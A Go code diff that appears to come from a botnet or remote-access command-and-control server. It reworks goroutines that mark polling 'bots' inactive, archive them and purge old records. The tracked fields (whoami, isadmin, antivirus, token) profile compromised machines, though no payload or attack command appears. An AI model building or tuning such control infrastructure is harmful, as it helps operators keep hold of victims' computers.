@@ -22,35 +22,50 @@ import (
2222
2323func TaskCleaner (db * sql.DB , interval time.Duration ) {
2424 go func () {
25- time .Sleep (interval )
26- _ , err := db1 .Exec (db , `delete from tasks where status in ('done', 'failed', 'canceled') and completed_at < UTC_TIMESTAMP() - INTERVAL 3 DAY` )
27- if err != nil {
28- log .Println ("Task cleanup error: " + err .Error ())
25+ ticker := time .NewTicker (interval )
26+ for range ticker .C {
27+ _ , err := db1 .Exec (db , `delete from tasks where status in ('done', 'failed', 'canceled') and completed_at < UTC_TIMESTAMP() - INTERVAL 3 DAY` )
28+ if err != nil {
29+ log .Println ("Task cleanup error: " + err .Error ())
30+ }
2931 }
3032 }()
3133}
3234
35+ /*
36+ Bot status:
37+ 1. active
38+ 2. inactive
39+ 3. archived
40+ 4. purged
41+ */
3342func DeadBotCleaner (db * sql.DB ) {
34- // Create a goroutine to check inactive bot(checked per day )
35- // If bot is online [0, 7) is active and [7, 30) days is inactive, [30, ∞) is purged
43+ // Create a goroutine to check inactive bot(checked every 3 minutes )
44+ // If bot sends poll within 3 minutes means ACTIVE or its INACTIVE
3645 go func () {
37- sqlStr := "update clients set status='inactive' where (lastseen >= UTC_TIMESTAMP() - INTERVAL 30 DAY) and (lastseen < UTC_TIMESTAMP() - INTERVAL 7 DAY)"
38- for {
39- time .Sleep (time .Duration (24 ) * time .Hour )
46+ sqlStr := "update clients set status='inactive' where lastseen < UTC_TIMESTAMP() - INTERVAL 3 MINUTE and status='active'"
47+ ticker := time .NewTicker (2 * time .Minute )
48+ defer ticker .Stop ()
49+ //sqlStr := "update clients set status='inactive' where (lastseen >= UTC_TIMESTAMP() - INTERVAL 30 DAY) and (lastseen < UTC_TIMESTAMP() - INTERVAL 7 DAY)"
50+ for range ticker .C {
4051 _ , err := db1 .Exec (db , sqlStr )
4152 if err != nil {
4253 log .Println ("DeadBotCleaner inactive db1.Exec error: " + err .Error ())
4354 }
4455 log .Println ("DeadBotCleaner inactive db1.Exec okay " )
4556 }
4657 }()
47- // Create a goroutine to check archived bot(Checked per week )
58+ // Create a goroutine to check ACHIVED bot(Checked every 3 days )
4859 go func () {
49- sqlStr := "insert into clients_archived (guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen) " +
50- "select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
51- sqlDeleteStr := "delete from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
52- for {
53- time .Sleep (time .Duration (24 * 7 ) * time .Hour )
60+ //sqlStr := "insert into clients_archived (guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen) " +
61+ // "select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
62+ //sqlDeleteStr := "delete from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
63+ sqlStr := "insert ignore into clients_archived (guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen) " +
64+ "select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where status='inactive' and lastseen < UTC_TIMESTAMP() - INTERVAL 3 DAY"
65+ sqlUpdateStr := "update clients set status='archived' where status='inactive' and lastseen < UTC_TIMESTAMP() - INTERVAL 3 DAY"
66+ ticker := time .NewTicker (time .Duration (3 * 12 ) * time .Hour )
67+ defer ticker .Stop ()
68+ for range ticker .C {
5469 tx , err := common .Db .Begin ()
5570 if err != nil {
5671 log .Println ("DeadBotCleaner archived tx.Begin error: " + err .Error ())
@@ -63,7 +78,7 @@ func DeadBotCleaner(db *sql.DB) {
6378 continue
6479 }
6580 // Delete record from clients table
66- _ , err = tx .Exec (sqlDeleteStr )
81+ _ , err = tx .Exec (sqlUpdateStr )
6782 if err != nil {
6883 tx .Rollback ()
6984 log .Println ("DeadBotCleaner archived delete tx.Rollback error: " + err .Error ())
@@ -75,13 +90,13 @@ func DeadBotCleaner(db *sql.DB) {
7590 }
7691 log .Println ("DeadBotCleaner archived commit okay " )
7792 }
78-
7993 }()
8094 // Create a go routine to delete purged bot(Checked per month)
8195 go func () {
8296 sqlStr := `delete from clients_archived where purged_after <= UTC_TIMESTAMP()`
83- for {
84- time .Sleep (time .Duration (24 * 30 ) * time .Hour )
97+ ticker := time .NewTicker (time .Duration (24 * 15 ) * time .Hour )
98+ defer ticker .Stop ()
99+ for range ticker .C {
85100 _ , err := db1 .Exec (db , sqlStr )
86101 if err != nil {
87102 log .Println ("DeadBotCleaner delete error: " + err .Error ())
0 commit comments